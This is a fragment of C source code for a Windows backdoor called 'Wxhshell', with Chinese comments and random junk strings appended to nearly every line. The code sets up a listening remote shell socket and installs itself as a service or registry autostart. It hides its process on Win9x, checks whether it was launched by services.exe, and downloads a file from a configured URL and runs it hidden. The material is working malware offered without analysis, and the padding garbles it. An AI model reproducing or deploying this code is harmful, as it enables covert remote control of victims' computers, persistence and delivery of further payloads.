DWORD PebBaseAddress; nWfzwXP>_
DWORD AffinityMask; oXC|q-(C
DWORD BasePriority; bjn: e!}
ULONG UniqueProcessId; 06ndW9>wD)
ULONG InheritedFromUniqueProcessId; hv)>HU&
} PROCESS_BASIC_INFORMATION; w}8
,ICL
[/h3HyZ.
PROCNTQSIP NtQueryInformationProcess; 9v\x&h
vY 0EffZ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0P{^aSxTP
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -L4fp
Nk.m$
HANDLE hProcess; $|kq{@<
PROCESS_BASIC_INFORMATION pbi; ^Rr!YnEN
?c G~M|@
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2C6o?*RjyY
if(NULL == hInst ) return 0; i-.]onR
myq@X(K
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s$%t*T2J>
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ro}7ERA
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~]sj.>P
nt 9LBea
if (!NtQueryInformationProcess) return 0; zd%n)jlwR
Lud[.>i
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f ZEyXb
if(!hProcess) return 0; A-n@:` n~
Mi>!
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZmLA4<
a&^HvXO(>(
CloseHandle(hProcess); ro& /
a+HGlj 2>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [Rj_p&'
if(hProcess==NULL) return 0; ^sF/-/ {?U
iXoEdt)
HMODULE hMod; yH=Hrz:<eM
char procName[255]; q8m{zSr
unsigned long cbNeeded; WGmXq.
(vR9vOpJ
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8v<802
)WBp.j /#
CloseHandle(hProcess); c)*,">$#
ojc m%yd
if(strstr(procName,"services")) return 1; // 以服务启动 g~7x+cu0
Arr(rM
return 0; // 注册表启动 ?|i
C-7{8L
} qjBF]3%t%
?l> <?i
// 主模块 Vn=K5nm
int StartWxhshell(LPSTR lpCmdLine) ?[Sac]h
ys
{ !_?K(X~/
SOCKET wsl; 1Yk!R9.
BOOL val=TRUE; {6I)6}w!k
int port=0; B*OEG*t
struct sockaddr_in door; >='y+68
0?$jC-@k:
if(wscfg.ws_autoins) Install(); [Qw BSq8)
gLDO|ADni
port=atoi(lpCmdLine); ]>9[}'u
.4[\%r\i
if(port<=0) port=wscfg.ws_port; ngt?9i;N
'?Jz8iu-
WSADATA data; Z|#G+$"QV
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MJ\^i4
euMJ c
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 3wYhDxY1
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^ g'P
H{68
door.sin_family = AF_INET; 5i0vli/L
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]/#3 P
door.sin_port = htons(port); yI{4h $c
`o4%UkBpM
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ykS-5E`
closesocket(wsl); ;hgRMkmz4<
return 1; c]/X
>8;
} e"d-$$'e
9Ai3p
if(listen(wsl,2) == INVALID_SOCKET) { 8{-
*Q(=/
closesocket(wsl); <WiyM[ep
return 1; D7lRZb
} TWeup6k
Wxhshell(wsl); ,k9xI<i
WSACleanup(); O>@ChQF
O`^dy7>{U
return 0; y$K[ArqX
oHPh2b0
} Yn_v'Os2
D[
v2#2
// 以NT服务方式启动 J1u&Ga
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1YtbV3
{ uPVO!`N3
DWORD status = 0; 0{'m":D9
DWORD specificError = 0xfffffff; J$^"cCMr
h( DmSW
serviceStatus.dwServiceType = SERVICE_WIN32; N|2PW ~,
serviceStatus.dwCurrentState = SERVICE_START_PENDING; &5y|Q?
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rYCIU
serviceStatus.dwWin32ExitCode = 0; `'E(L&
serviceStatus.dwServiceSpecificExitCode = 0; fzJ^`
serviceStatus.dwCheckPoint = 0; 0: Nw8J
serviceStatus.dwWaitHint = 0; @@z5v bs'{
&?H`MCvt
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); adtgNwg
if (hServiceStatusHandle==0) return; %BwvA_T'Q
M nnVk=
status = GetLastError(); WkMB
if (status!=NO_ERROR) P_.zp5>
{ o_sb+Vn|
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4*&2D-8<K
serviceStatus.dwCheckPoint = 0; Tg@:mw5
serviceStatus.dwWaitHint = 0; xyrlR;Sk
serviceStatus.dwWin32ExitCode = status; SUb:0GUa
serviceStatus.dwServiceSpecificExitCode = specificError; MMy\u) 4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -KL5sK
return; -PCFOm"
} T0X+\&W
Oj>;[O"
serviceStatus.dwCurrentState = SERVICE_RUNNING; em9nuXG
serviceStatus.dwCheckPoint = 0; @M*oq2U;
serviceStatus.dwWaitHint = 0; f;%=S:3
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AQGl}%k_
} XI>HC'.0
$}JWJ\-]
// 处理NT服务事件,比如:启动、停止 Y~B-dx'V
VOID WINAPI NTServiceHandler(DWORD fdwControl) d$HPpi1LL
{ ATF>"Ux
switch(fdwControl) l@ 5kw]6
{ LO;6g~(1
case SERVICE_CONTROL_STOP: xz-?sD/xe
serviceStatus.dwWin32ExitCode = 0; Sg<
B+u\\
serviceStatus.dwCurrentState = SERVICE_STOPPED; 6J<R;g23R]
serviceStatus.dwCheckPoint = 0; *o=[p2d"X
serviceStatus.dwWaitHint = 0; &9EcgazV
{ 2-%9k)KH
SetServiceStatus(hServiceStatusHandle, &serviceStatus); W+i&!'
} W.c>("gC
return; 48)D%867.;
case SERVICE_CONTROL_PAUSE: gLwrYG7@
serviceStatus.dwCurrentState = SERVICE_PAUSED; 'd]t@[#
break; @5h(bLEP
case SERVICE_CONTROL_CONTINUE: ;TL>{"z`x
serviceStatus.dwCurrentState = SERVICE_RUNNING; CsJ&,(s(
break; v(]dIH
case SERVICE_CONTROL_INTERROGATE: y`Zn{mQ@[
break; kA/yL]m^S
}; 6lm<>#_
SetServiceStatus(hServiceStatusHandle, &serviceStatus); moCR64n
} I`nC\%g
>W6?!ue_
// 标准应用程序主函数 bR<XQHl
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bAEwjZ
{ [JEf P/n|.
$"g'C8
// 获取操作系统版本 M7=|N:/_
OsIsNt=GetOsVer(); nP0rg
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;)Sf|
#s{EIj~YR_
// 从命令行安装
|`pDOd
if(strpbrk(lpCmdLine,"iI")) Install(); Z3f}'vr
dN@C)5pm5`
// 下载执行文件 UHS"{%
if(wscfg.ws_downexe) { {$I1(DYN
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L=gG23U&
WinExec(wscfg.ws_filenam,SW_HIDE); @CS%=tE}U
} !
u9LZ
HHL7z,%f
if(!OsIsNt) { eyy%2>b
// 如果时win9x,隐藏进程并且设置为注册表启动 L\q-Z..
HideProc(); 8(]q/g"O
StartWxhshell(lpCmdLine); i7mo89S
} QsBC[7<jd-
else p2hPLq
if(StartFromService()) ^@)*voP#G
// 以服务方式启动 Y o\%53w/
StartServiceCtrlDispatcher(DispatchTable); Lb~'
I=9D
else %GGSd0
g
// 普通方式启动 ]]T,;|B
StartWxhshell(lpCmdLine); P} w0=
2>g!+p Ox
return 0; H#3Ma1z
}